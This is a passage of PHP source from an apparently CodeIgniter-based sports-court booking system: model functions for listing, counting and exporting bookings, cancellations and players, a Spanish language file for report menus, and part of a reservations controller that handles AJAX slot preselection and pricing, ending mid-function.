'user_desc' => $usuario,
'user_phone' => $phone,
'create_user_id' => $row->create_user,
'create_user_desc' => $create_user,
'price' => number_format($precio, 2, ',', ''),
'no_cost' => $no_cost,
'no_cost_desc' => $row->no_cost_desc,
'shared' => $row->shared,
'light_desc' => $light_desc,
'light_cost' => number_format($light_cost, 2, ',', ''),
'fecha_creacion' => $row->fecha_creacion,
'coste_antelacion' => number_format($row->price_supl1, 2, ',', ''),
'coste_invitado' => number_format($row->price_supl2, 2, ',', ''),
'booking_code' => $row->booking_code,
);
//print("<pre>");print_r($row);print("</pre>");
}
$record_items[] = $registro;
return $record_items;
}
public function get_data_count($params = "" , $page = "all")
{
$table_name = 'booking';
//Build contents query
//$this->db->select('distinct id_transaction', FALSE)->from($table_name);
$this->db->count_all_results($table_name); $this->db->from($table_name);
$this->db->join('courts', 'courts.id=booking.id_court', 'left outer');
$this->db->join('meta', 'booking.id_user=meta.user_id', 'left outer');
$this->db->join('zz_booking_status', 'booking.status=zz_booking_status.id', 'left outer');
$this->db->join('zz_paymentway', 'booking.id_paymentway=zz_paymentway.id', 'left outer');
if (!empty ($params['where'])) $this->db->where($params['where']);
//$this->db->group_by("booking.id_transaction");
if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']);
if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) );
//Get contents
//$query = $this->db->get();
//echo $this->db->last_query().'<br>';
//log_message('debug',$this->db->last_query());
return $this->db->count_all_results();
}
public function get_cancelled($params = "" , $page = "all")
{
$this->load->model('Pistas_model', 'pistas', TRUE);
$table_name = 'booking_cancelled';
//Build contents query
$this->db->select('distinct id_transaction', FALSE)->from($table_name);
$this->db->join('courts', 'courts.id='.$table_name.'.id_court', 'left outer');
$this->db->join('meta', $table_name.'.id_user=meta.user_id', 'left outer');
$this->db->join('zz_booking_status', $table_name.'.status=zz_booking_status.id', 'left outer');
$this->db->join('zz_paymentway', $table_name.'.id_paymentway=zz_paymentway.id', 'left outer');
if (!empty ($params['where'])) $this->db->where($params['where']);
if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']);
if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) );
//Get contents
//$query = $this->db->get();
$lista_de_reservas = array();
//Get contents
if ($page != "all") {
$query = $this->db->get();
$lista_de_reservas = array();
foreach ($query->result() as $row)
{
array_push($lista_de_reservas, $row->id_transaction);
}
}
$table_name = 'booking_cancelled';
//Build contents query
$this->db->select($table_name.'.id as id, id_booking, id_transaction, id_user, session, id_court, DATE_FORMAT(DATE('.$table_name.'.date), \'%d-%m-%Y\') as fecha, DATE_FORMAT(DATE('.$table_name.'.create_time), \'%d-%m-%Y\') as date_delete, DATE_FORMAT('.$table_name.'.create_time, \'%d-%m-%Y %H:%i\') as time_delete, '.
'intervalo, `status`, id_paymentway, price, no_cost, no_cost_desc, booking.user_desc, user_phone, '.
''.$table_name.'.create_user as create_user, '.$table_name.'.create_time as create_time, '.$table_name.'.modify_user as modify_user, '.
''.$table_name.'.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, meta_2.first_name as first_name_2, '.
'meta.last_name as last_name, meta_2.last_name as last_name_2, meta.first_name + \' \' + meta.last_name as complete_name, meta.phone as phone, zz_booking_status.description as status_desc, '.
'zz_paymentway.description as paymentway_desc, '.$table_name.'.cancelation_reason as cancelation_reason', FALSE)->from($table_name);
$this->db->join('courts', 'courts.id='.$table_name.'.id_court', 'left outer');
$this->db->join('meta', $table_name.'.id_user=meta.user_id', 'left outer');
$this->db->join('meta as meta_2', $table_name.'.create_user=meta_2.user_id', 'left outer');
$this->db->join('zz_booking_status', $table_name.'.status=zz_booking_status.id', 'left outer');
$this->db->join('zz_paymentway', $table_name.'.id_paymentway=zz_paymentway.id', 'left outer');
if ($page != "all" && count($lista_de_reservas) > 0) {
if (!empty ($params['where'])) $params['where'].= ' AND ';
$params['where'].= "booking_cancelled.id_transaction IN ('".implode("', '", $lista_de_reservas)."')";
}
if (!empty ($params['where'])) $this->db->where($params['where']);
if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']);
$this->db->order_by('id_transaction', $params['orderbyway']);
//if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) );
//Get contents
$query = $this->db->get();
log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
$record_items = array(); $buttons=''; $registro=array(); $transaccion=""; $min_time=""; $max_time="";$precio=0;
foreach ($query->result() as $row)
{
//if($contador <= $first_row) { $contador++; continue; }
if($transaccion=="") $transaccion = $row->id_transaction;
//echo $row->id_transaction.' # ' .$transaccion.'<br>';
if($transaccion != $row->id_transaction && $transaccion!="") {
#Sรณlo si se ha cambiado de Id de transacciรณn
$record_items[] = $registro;
//print("<pre>"); print_r($registro);
$registro=array();
$min_time=""; $max_time=""; $precio=0;
$transaccion = $row->id_transaction;
}
// ojo, las imรกgenes tienen que ser png
//modificar mas adelante aรฑadiendo un campo en BBDD
$paint_status = '';
if ($row->status_desc == '') $paint_status='';
else $paint_status = img(array('src'=>'images/'.$row->status_desc.'.png', "align"=>"absmiddle", "border"=>"0", "title"=>$this->lang->line($row->status_desc)));
if($row->no_cost==0) $no_cost='';
else $no_cost='Sí';
if($row->id_user) $usuario = $row->first_name.' '.$row->last_name;
else $usuario = $row->user_desc;
if(trim($usuario)=="") $usuario="No registrado";
if($row->id_user) $usuario2 = $row->first_name_2.' '.$row->last_name_2;
if(trim($usuario2)=="") $usuario2 = "No registrado";
$reserve_interval = $this->pistas->getCourtInterval($row->id_court);
$time=$row->intervalo;
$precio+=$row->price;
if($min_time=="" || $min_time > $row->intervalo) $min_time = date('H:i', strtotime($time));
if($max_time=="" || $max_time < $row->intervalo) $max_time = date('H:i', strtotime($time)+($reserve_interval * 60));
# Definicion de los botones
/*$butt_array=array();
if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Marcar la reserva como iniciada\');"><img id="activar" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'></a>');
if($row->status != 9) {
array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Modificar la reserva\');" ><img value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/refresh.png\'></a>');
}
if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Eliminar la reserva\');"><img border=\'0\' src=\''.$this->config->item('base_url').'images/close.png\'></a>');
//$buttons=implode(' ', $butt_array);*/
//NUEVOS BOTONES
//if ($row->status == 9) $button_validate= '<img id="validar" "title"="Validar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'>';
//else $button_validate = "-";
//$button_change=
$registro = array(
'id_transaction' => $row->id_transaction,
'id_booking' => $row->id_booking,
'fecha' => date($this->config->item('reserve_date_filter_format') ,strtotime($row->fecha)),
'inicio' => $min_time,
'final' => $max_time,
'court_name' => $row->court_name,
'user_desc' => $usuario,
'user_phone' => $row->phone,
'user_delete' => $usuario2,
'date_delete' => $row->date_delete,
'time_delete' => $row->time_delete,
'price' => $precio,
'no_cost' => $no_cost,
'cancelation_reason' => $row->cancelation_reason,
);
//print("<pre>");print_r($row);print("</pre>");
}
$record_items[] = $registro;
return $record_items;
}
public function get_cancelled_count($params = "" , $page = "all")
{
$table_name = 'booking_cancelled';
//Build contents query
$this->db->select('distinct id_transaction', FALSE)->from($table_name);
$this->db->join('courts', 'courts.id='.$table_name.'.id_court', 'left outer');
$this->db->join('meta', $table_name.'.id_user=meta.user_id', 'left outer');
$this->db->join('zz_booking_status', $table_name.'.status=zz_booking_status.id', 'left outer');
$this->db->join('zz_paymentway', $table_name.'.id_paymentway=zz_paymentway.id', 'left outer');
if (!empty ($params['where'])) $this->db->where($params['where']);
if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']);
if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) );
//Get contents
$query = $this->db->get();
log_message('debug',$this->db->last_query());
return count($query->result_array());
}
function add_player($id, $data)
{
$this->CI =& get_instance();
$check = 1;
//$this->load->model('Reservas_model', 'reserva', TRUE);
$info=$this->CI->reservas->getBookingInfoById($id);
//print("<pre>");print_r($data);print_r($info);exit();
if(!isset($info) || !is_array($info) || count($info)<=0) return ('Reserva no encontrada');
if(isset($info['playing_users']) && is_array($info['playing_users'])) {
foreach($info['playing_users'] as $usuario) {
if(($data['id_user']!= 0 && $usuario['id_user'] == $data['id_user']) || ($data['id_user']== 0 && $usuario['user_desc'] == $data['user_desc'])) $check = 0;
}
}
# Control de integridad de datos
if($data['id_user']=='') $data['id_user'] = 0;
if($check) {
$datos['id_transaction'] = $id;
$datos['id_user'] = $data['id_user'];
$datos['user_desc'] = $data['user_desc'];
$datos['user_phone'] = $data['user_phone'];
$datos['status'] = 9;
$datos['create_user'] = $this->session->userdata('user_id');
$datos['create_time'] = date(DATETIME_DB);
$datos['create_ip'] = $this->session->userdata('ip_address');
$this->db->insert('booking_players', $datos);
log_message('debug',$this->db->last_query());
return NULL;
} else {
log_message('debug','Usuario '.$data['id_user'].' o '.$data['user_desc'].' ya registrado en la reserva '.$id.'. No se le da de alta de nuevo');
return ('Usuario ya registrado previamente en esta reserva.');
}
}
function remove_player($id_transaction, $id_user)
{
$data = array(
'id_transaction' => $id_transaction,
'id' => $id_user,
);
$this->db->delete('booking_players',$data);
log_message('debug',$this->db->last_query());
return TRUE;
}
/**
* getBookingCountDayUser
*
* @return number
**/
public function getBookingCountDayUser($sport, $date, $user, $force = 0)
{
//echo "AA";
if($this->config->item('booking_record_players') && $force == 0)
$sql_select = "select count(*) as total from booking_players, booking, courts where booking_players.id_transaction = booking.id_transaction and booking.id_court = courts.id and courts.sport_type = ? and booking.date = ? and booking_players.id_user = ?";
else
$sql_select = "select count(*) as total from booking, courts where booking.id_court = courts.id and courts.sport_type = ? and date = ? and id_user = ?";
$query = $this->db->query($sql_select, array($sport, $date, $user));
//log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
if ($query->num_rows() > 0)
{
$row = $query->row();
$total = $row->total;
if(!isset($total) || $total == '') $total = 0;
return $total;
} else return 0;
}
##############################################################################
function change_players($id_old, $id_new) {
# Cambia el id_transaction asociado a un conjunto de jugadores de una reserva, para no perderlos al hacer un cambio de reserva
$data = array(
'id_transaction' => $id_new,
'modify_user' => $this->session->userdata('user_id'),
'modify_ip' => $this->session->userdata('ip_address'),
'modify_time' => date($this->config->item('log_date_format'))
);
$this->db->where('id_transaction', $id_old);
$this->db->update('booking_players', $data);
log_message('debug',$this->db->last_query());
//if($this->db->affected_rows()) return TRUE;
//echo $this->db->last_query();
//exit();
return TRUE;
}
##############################################################################
function change_shared_players($id_old, $id_new) {
# Cambia el id_transaction asociado a un conjunto de jugadores de una reserva, para no perderlos al hacer un cambio de reserva
$data = array(
'id_transaction' => $id_new,
'modify_user' => $this->session->userdata('user_id'),
'modify_ip' => $this->session->userdata('ip_address'),
'modify_time' => date($this->config->item('log_date_format'))
);
$this->db->where('id_transaction', $id_old);
$this->db->update('booking_shared', $data);
log_message('debug',$this->db->last_query());
//if($this->db->affected_rows()) return TRUE;
//echo $this->db->last_query();
//exit();
return TRUE;
}
public function get_data_players_to_export($params = "" , $page = "all")
{
$sql_select = "select booking_players.id_user as id_user, booking.id_transaction as id_booking from booking_players, booking, meta where booking_players.id_transaction = booking.id_transaction and (booking_players.id_user = meta.user_id or meta.user_id is null) and booking_players.status = 9";
$query = $this->db->query($sql_select, array());
//log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
$array_result = array(); $registro = array();
foreach ($query->result() as $row) {
$registro = array(
'id_booking' => $row->id_booking,
'id_user' => $row->id_user
);
$array_result[] = $registro;
$registro = array();
}
return $array_result;
}
public function get_data_to_export($params = "" , $page = "all")
{
$datos = $this->get_data($params, $page);
//exit();
$resultado = array();
foreach($datos as $reserva) {
$booking_type = 'Reserva';
if($reserva['shared'] == 1) $booking_type = 'Reto';
array_push($resultado, array(
'id_booking' => $reserva['id_transaction'],
'fecha' => $reserva['fecha'],
'HoraInicio' => $reserva['inicio'],
'HoraFin' => $reserva['final'],
'NombrePista' => $reserva['court_name'],
'Deporte' => $reserva['sport_name'],
'user_id' => $reserva['user_id'],
'Usuario' => $reserva['user_desc'],
'Telefono' => $reserva['user_phone'],
'id_CreadorReserva' => $reserva['create_user_id'],
'CreadorReserva' => $reserva['create_user_desc'],
'SinCoste' => $reserva['no_cost'],
'DescripcionSinCoste' => $reserva['no_cost_desc'],
'Luz' => $reserva['light_desc'],
'TipoReserva' => $booking_type,
'FechaReserva' => $reserva['fecha_creacion'],
'CosteReserva' => $reserva['price'],
'CosteLuz' => $reserva['light_cost'],
'CosteReservaAnticipada' => $reserva['coste_antelacion'],
'CosteInvitado' => $reserva['coste_invitado'],
'CodigoReserva' => $reserva['booking_code'],
'Estado' => $reserva['status_desc']
));
}
return $resultado;
}
}
?>```
informes_lang.php
```<?php
# TEXTOS
$lang['informes_title'] = htmlentities("Listados, informes y grรกficas.");
# MENU
$lang['report_todas_reservas'] = htmlentities("Listado reservas");
$lang['report_todos_pagos'] = htmlentities("Listado pagos");
$lang['report_facturacion_diaria'] = htmlentities("Resumen de facturaciรณn");
$lang['report_reserva_diaria'] = htmlentities("Resumen de reservas");
$lang['report_reserva_ocupacion'] = htmlentities("Informe de ocupaciรณn");
$lang['report_cierre_dia'] = htmlentities("Cierre caja");
$lang['report_cierre_dia2'] = htmlentities("Resumen diario de Caja");
$lang['report_clases_dia'] = htmlentities("Partes de clases");
?>```
reservas.php
```<?php
class Reservas extends Controller {
/*
# CONTENIDO
#
# index()
# preselect()
# simpleSearchFields()
# confirm() *
# pay() *
# search2()
# confirm2()
# extras()
# pay2()
# resume()
# tooltip_info()
# clean_block_reserves()
*/
function Reservas()
{
parent::Controller();
$this->lang->load('reservas');
$this->load->library('user_agent');
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de bรบsqueda de pista
# -------------------------------------------------------------------
function index($dummy = NULL)
{
if(!isset($dummy)) {
redirect(site_url('reservas/index/'.time()), 'Location');
exit();
}
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
$user_name=$profile->username;
} else {
$user_id=0;
$user_group=9;
$user_name=$this->lang->line('anonymous_user');
}
# Vacio el array de elementos seleccionados
$this->session->set_userdata('bookingInterval', array());
# Definiciรณn de barra de menus
$menu=array('menu' => $this->app_common->get_menu_options());
//print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>");
//echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true);
$validation_script="";
$disabled="";
$filtro=$this->config->item('court_required');
if(isset($filtro[$user_group]) && $filtro[$user_group]) {
$validation_script.="if(document.getElementById('court').value=='' ) { alert('".$this->lang->line('court_required_alert')."'); document.getElementById('frmReserva').action='".site_url('reservas')."'; return; }"."\r\n";
if(!$this->input->post('court')) $disabled = " disabled ";
} else $validation_script='';
$filtro=$this->config->item('date_required');
if($filtro[$user_group]) {
$validation_script.="if(document.getElementById('date').value=='' ) { alert('".$this->lang->line('date_required_alert')."'); document.getElementById('frmReserva').action='".site_url('reservas')."'; return; }"."\r\n";
//if(!$this->input->post('date')) $disabled = " disabled ";
} else $validation_script='';
$data=array(
'menu' => $this->load->view('menu', $menu, true),
'user_name' => $user_name,
'search_fields' => $this->load->view('reservas/search_fields2', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true),
//'result' => $this->load->view('reservas/simple_result', array('availability' => $availability_array, 'user_id' => $user_id, 'filters' => $this->load->view('reservas/search_fields', array('search_fields'=> $this->simpleSearchFields()), true)), true),
'validation_script' => $validation_script,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
# En funciรณn del IE, cargo una pantalla u otra
if(in_array($this->agent->browser(), $this->config->item('special_browser'))) $data['search_fields'] = $this->load->view('reservas/search_fields2_iexplorer', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true);
else $this->load->view('reservas/search_fields2', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true);
$added = '';
if(in_array($this->agent->browser(), $this->config->item('special_browser'))) $added = array('added_footer' => 'Pagina adaptada a IE');
$extra = link_tag(base_url().'css/prettyPhoto.css')."\r\n".'<script src="'.base_url().'js/jquery.prettyPhoto.js" type="text/javascript"></script>';
if($this->redux_auth->logged_in()) {
$data['meta']=$this->load->view('meta', array('extra' => $extra), true);
$data['header']=$this->load->view('header', array('enable_menu' => '1'), true);
$data['footer']=$this->load->view('footer', $added, true);
} else {
$data['meta']=$this->load->view('meta_index', array('extra' => $extra), true);
$data['header']=$this->load->view('header_index', array('enable_menu' => '0'), true);
$data['footer']=$this->load->view('footer_index', $added, true);
}
$data['page']='reservas/search';
$this->load->view('main', $data);
//print("<pre>");print_r($this->session);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de preseleccion de pista
# -------------------------------------------------------------------
function preselect($usuario, $selection, $dummy)
{
#Tercer parรกmetro no vale para nada.. es para evitar el cachรฉ de IE.
$debug = FALSE;
# Funciรณn que marca como preseleccionados los elementos seleccionados por el usuario
# Serรก solo llamado por AJAX
# Parรกmetros de entrada: usuario e id de lo seleccionado
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->library('booking');
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else {
$user_group=9;
}
#Comprobar si la seleccion realizada estรก libre o no... si estรก libre, reservar... SI no estรก libre, y el usuario de reserva es el actual, deseleccionar
$partes=explode('-', $selection);
$this->reservas->court=$partes[0];
$deporte = $this->pistas->getCourtSport($partes[0]);
$this->reservas->date=date($this->config->item('date_db_format'), $partes[1]);
$this->reservas->intervalo=date($this->config->item('hour_db_format'), $partes[1]);
$reserve_interval = $this->pistas->getCourtInterval($this->reservas->court);
//$this->reservas->price=5.3;
$this->reservas->id_user=$usuario;
$this->reservas->create_user=$usuario;
//$nivel_usuario = $this->usuario->getUserGroup($usuario);
$nivel_usuario = $user_group;
$this->reservas->sesion = $this->session->userdata('session_id');
$this->app_common->get_court_availability($this->reservas->court, $this->reservas->date);
$availability_array = $this->reservas->availability;
$encontrado = FALSE; $estado_anterior = 0; $id_anterior = '';
$celdas = array();
# Defino el numero de celdas conjuntas que se seleccionan en base al nivel del usuario
$conjunto_celdas_arr = $this->config->item('reserve_minimum_intervals');
$conjunto_celdas = $conjunto_celdas_arr[$user_group];
if(!isset($conjunto_celdas) || $conjunto_celdas == '') $conjunto_celdas = 9;
//echo '-------'.$conjunto_celdas;
if(!isset($conjunto_celdas) || $conjunto_celdas == '' || $conjunto_celdas < 1) $conjunto_celdas = 1;
$contador = 0;
foreach($availability_array as $intervalo => $datos) {
if($debug) echo '<br>Cont: '.$contador.' - Estado anterior '.$estado_anterior.' - '.$datos[0].' - '.$id_anterior.' - '.$this->session->userdata('idTransaction');
if(($contador % $conjunto_celdas == 0 && ($estado_anterior != 0 || ($estado_anterior == 0 && $id_anterior == $this->session->userdata('idTransaction')))) || ($estado_anterior == 0 && $id_anterior != $this->session->userdata('idTransaction'))) {
# Si comienzo un conjunto de celdas nuevo, reinicio el array de celdas que se seleccionan y el contador de elementos que usamoos para hacer la operacio aritmetica 'modulo'
$celdas = array();
$contador = 0;
$encontrado = FALSE;
if($debug) echo '<br>Comienzo conjunto en '.$datos[0];
}
if($intervalo == $selection ) {
$encontrado = TRUE;
if($debug) echo '<br>Se ha encontrado el intervalo seleccionado en este conjunto!! '.$intervalo . ' - '. $this->reservas->intervalo;
}
array_push($celdas, $intervalo);
if(count($celdas) == $conjunto_celdas && $encontrado) {
if($debug) echo '<br>Trabajo hecho';
break;
}
$estado_anterior = $datos[1];
$id_anterior = $datos[2];
$contador++;
}
# Grabo copia de las celdas vinculadas a esta reserva para, en caso de necesitar desactivarlo todo, tener guardadas cuales eran
$persistent_celdas = $celdas;
//print("aa<pre>"); print_r($this->reservas->getBookingInfoBySession($this->reservas->sesion));print("</pre>");
$ok_total = 1;
$reservas = array();
if($debug) { print("aa<pre>"); print_r($celdas); }
# Si no he encontrado correspondencia.. fallo
if(count($celdas) != $conjunto_celdas || !$encontrado) {
$celdas = array();
$ok_total = 0;
if($debug) {
echo 'count celdas: '.count($celdas).' y conjunto de celdas: '.$conjunto_celdas;
if($encontrado) echo 'encontrado'; else echo 'no encontrado';
}
}
# Comprobaciรณn (si corresponde) del nรบmero mรกximo de reservas diarias por usuario
$valida_por_maxima = $this->booking->checkMaximumBookingPerDayUserSport($this->reservas->date, $partes[0], $usuario, 1);
if($debug) { if($valida_por_maxima) echo 'reserva valida respecto a maximos diarios de reserva'; else echo 'reserva INVALIDA respecto a maximos diarios de reserva'; }
if(!$valida_por_maxima) {
$celdas = array();
$ok_total = 0;
}
# Fin de la comprobacicรณn de reservas mรกximas por usuario/dia/deporte
if($debug) { print("bbbb<pre>"); print_r($celdas); }
//if($debug) print_r($availability_array);
if($debug) print("</pre>"); //exit();
# Recorro los intervalos para sacar el mรกximo y el mรญnimo horario
$inicio_seleccion = ''; $fin_seleccion = '';
foreach($celdas as $interv) {
$partes2=explode('-', $interv);
$int_selecc = date($this->config->item('hour_db_format'), $partes2[1]);
$tiempo = explode(':', $int_selecc);
$horas = $tiempo[0];
$minutos = $tiempo[1];
$suma_minutos = $reserve_interval + $minutos;
//relleno los campos necesarios para chequear disponibilidad
$int_selecc_plus = date($this->config->item('hour_db_format'),mktime($horas,$suma_minutos,0,1,1,1998));
//if($debug) echo '<br> horas: '.$horas.' minutos: '.$suma_minutos.' hora inicio: '.$int_selecc.' hora plus: '.$int_selecc_plus;
if($inicio_seleccion == '' || $inicio_seleccion > $int_selecc) $inicio_seleccion = $int_selecc;
if($fin_seleccion == '' || $fin_seleccion < $int_selecc_plus) $fin_seleccion = $int_selecc_plus;
}
if($debug) echo '<br>Rango de la seleccion hecha: '.$inicio_seleccion.' - '.$fin_seleccion;
# Recorro los intervalos preseleccionados para ver si todos estรกn disponibles. Si no, todos a cero
foreach($celdas as $interv) {
if($debug) echo '<br>Para el intervalo '.$interv.' el ok total es '.$ok_total;
# Vuelvo a grabar las propiedades del objeto reservas con el intervalo de estudio
$partes2=explode('-', $interv);
$this->reservas->court = $partes2[0];
$this->reservas->date = date($this->config->item('date_db_format'), $partes2[1]);
$this->reservas->intervalo = date($this->config->item('hour_db_format'), $partes2[1]);
if($this->reservas->checkExactAvailability()) {
# Si estรก libre, pido precio
$this->reservas->getPrice();
#Compruebo los extras
$extras = 0;
$extras = $this->booking->getExtra($this->session->userdata('idTransaction'), $this->reservas->court.'-'.strtotime($this->reservas->date.' '.$this->reservas->intervalo));
if($debug) echo "\r\n".'<br>el extra es '.$extras.' ';
$this->reservas->price_supl1 = $extras;
$this->reservas->price = $this->reservas->price + $extras;
if($debug) echo '<br>el intervalo '.$interv.' tiene como precio '.$this->reservas->price_court;
$ok = 1;
# Recupero informaciรณn de las reservas con esta sesion para ver si estoy pinchando una consecutiva
if(!isset($info)) $info = $this->reservas->getBookingInfoById($this->session->userdata('idTransaction'));
//print("<pre>"); print_r($info);print("</pre>");
if(isset($info) && is_array($info) && count($info)>0 && $info['status']<'7') {
if($debug) echo '<br>hay una reserva activa con esta sesion '.$this->session->userdata('idTransaction');
$sel_part = explode("-", $interv);
if ($sel_part[0] != $info['id_court']) {
$ok = 0;
$ok_total = 0;
if($debug) echo '<br>el intervalo '.$interv.' tiene pista diferente de las otras reservas activas:'.$sel_part[0].' - '.$info['id_court'];
//log_message('debug',var_export($info, TRUE));
//log_message('debug', 'Pista diferente');
}
$sel_fecha=date($this->config->item('date_db_format'), $sel_part[1]);
//echo $sel_fecha;
if ($sel_fecha != $info['date']) {
$ok = 0;
$ok_total = 0;
if($debug) echo '<br>el intervalo '.$interv.' tiene fecha diferente de las otras reservas activas:'.$sel_fecha.' - '.$info['date'];
//log_message('debug',var_export($info, TRUE));
//log_message('debug', 'Fecha diferente');
}
$sel_hora=date($this->config->item('hour_db_format'), $sel_part[1]);
$sel_hora_ext=date($this->config->item('hour_db_format'), $sel_part[1]+($reserve_interval * 60));
//echo $sel_hora;
if($fin_seleccion != $info['inicio'] && $inicio_seleccion != $info['fin'] && $inicio_seleccion != $info['inicio'] && $fin_seleccion != $info['fin']) {
if($debug) echo '<br>el intervalo '.$interv.' tiene un horario que no estรก pegado a alguna de las celdas ya reservadas:'.$fin_seleccion.' - '.$info['inicio'].' ---- '.$inicio_seleccion.' - '.$info['fin'];
$ok = 0;
$ok_total = 0;
//log_message('debug',var_export($info, TRUE));
//log_message('debug', 'Horas diferentes.. la reserva iba de '.$info['inicio'].' a '.$info['fin'].' y seleccionรฉ '.$sel_hora);
}
# Cierro el IF de la comprobaciรณn de $info
}
if($debug) echo '<br>el intervalo '.$interv.' tiene un valor de ok: '.$ok.' y el total: '.$ok_total;
//echo "<br> OK: ".$ok."<br>";
if($ok) {
if(isset($this->reservas->price_court)) {
if($debug) echo '<br>el intervalo '.$interv.' intento reservarlo';
# Si estรก libre, intento seleccionarlo
$this->reservas->status=5;
//$this->reservas->status=0; # Marcamos el status como '0' para que solo lo marque en sesion, pero no guarde la reserva
if($this->reservas->bookingInterval()) {
if($debug) echo '<br>el intervalo '.$interv.' ha sido reservado satisfactoriamente';
# Si lo he reservado, lo marco asรญ
$estilo="selected";
$estado=1; // Lo marco como reservado
//if($this->reservas->price_court == 0) $this->reservas->price_court = 0.01;
if($this->reservas->price == 0) $this->reservas->price = 0.01;
//print_r($this->session->flashdata('bookingInterval'));
//exit('A');
} else {
$ok_total = 0;
if($debug) echo '<br>el intervalo '.$interv.' NO ha podido ser reservado';
# Si no he podido reservarlo, compruebo si aรบn estรก disponible..
# para saber si fallรณ por estar ya ocupado o porque fallรณ la reserva
if($this->reservas->checkExactAvailability()) {
if($debug) echo '<br>el intervalo '.$interv.' NO se ha reservado pese a estar aรบn libre';
$estilo="free";
$estado=1; // Lo marco como libre
$this->reservas->price=$this->reservas->price*(-1);
$this->reservas->price_court=$this->reservas->price_court*(-1);
$this->reservas->price_light=$this->reservas->price_light*(-1);
} else {
if($debug) echo '<br>el intervalo '.$interv.' NO se ha reservado porque ya se habรญa reservado por otro sitio';
$estilo="full";
$estado=0; // Ya estaba reservado
$this->reservas->price=0;
$this->reservas->price_court=0;
$this->reservas->price_light=0;
}
}
} else {
if($debug) echo '<br>el intervalo '.$interv.' no tenรญa precio definido';
$ok_total = 0;
$estilo="free";
$estado=1; // Ya estaba reservado
$this->reservas->price=0;
$this->reservas->price_court=0;
$this->reservas->price_light=0;
}
} else {
if($debug) echo '<br>el intervalo '.$interv.' no era contiguo a las anteriores hechas con esta sesion';
# Si la reserva no es contigua a las anteriores
$ok_total = 0;
$estilo="free";
$estado=1; // Esta libre
$this->reservas->price=0;
$this->reservas->price_court=0;
$this->reservas->price_light=0;
}
} else {
//$ok_total = 0;
if($debug) echo '<br>el intervalo '.$interv.' no estaba disponible';
if($this->reservas->eraseInterval()) {
if($debug) echo '<br>el intervalo '.$interv.' ha sido borrado satisfactoriamente';
$estilo="free";
$estado=1; // Ya estaba reservado
$this->reservas->getPrice();
$this->reservas->price=$this->reservas->price*(-1);
$this->reservas->price_court=$this->reservas->price_court*(-1);
$this->reservas->price_light=$this->reservas->price_light*(-1);
} else {
if($debug) echo '<br>el intervalo '.$interv.' ha quedado marcado como reservado por otro';
$estilo="full";
$estado=0; // Ya estaba reservado
$this->reservas->price=0;
$this->reservas->price_court=0;
}
} // Fin del if-else que comprueba si la celda estรก disponible
array_push($reservas ,
array(
'estado' => $estado,
'estilo' => $estilo,
//'coste' => number_format($this->reservas->price_court, 2),
'coste' => number_format($this->reservas->price, 2),
'id' => $interv,
'luz' => number_format($this->reservas->price_light, 2)
)
);
} // Fin del foreach que recorre los intervalos preseleccionados
if($debug) { print("Celdas antes de borrar<pre>"); print_r($celdas); }
if(count($celdas) == 0) $celdas = $persistent_celdas;
if($debug) { print("Celdas antes de borrar (2)<pre>"); print_r($celdas); }
# Si el estado de alguna de las reservas era 0 ($ok_total = 0;) recorro el array para borrar las anteriores
if($ok_total == 0) {
# Vacio el array de reservas a enviar por XML
$reservas = array();
foreach($celdas as $interv) {
# Vuelvo a grabar las propiedades del objeto reservas con el intervalo de estudio
$partes3=explode('-', $interv);
$this->reservas->court=$partes3[0];
$this->reservas->date=date($this->config->item('date_db_format'), $partes3[1]);
$this->reservas->intervalo=date($this->config->item('hour_db_format'), $partes3[1]);
$this->reservas->eraseInterval();
$estilo="free";
$estado=1; // Ya estaba reservado
//$this->reservas->getPrice();
$this->reservas->price=0;
$this->reservas->price_court=0;
$this->reservas->price_light=0;
# Relleno el array de resultados
array_push($reservas ,
array(
'estado' => $estado,
'estilo' => $estilo,
//'coste' => number_format($this->reservas->price_court, 2),
'coste' => number_format($this->reservas->price, 2),
'id' => $interv,
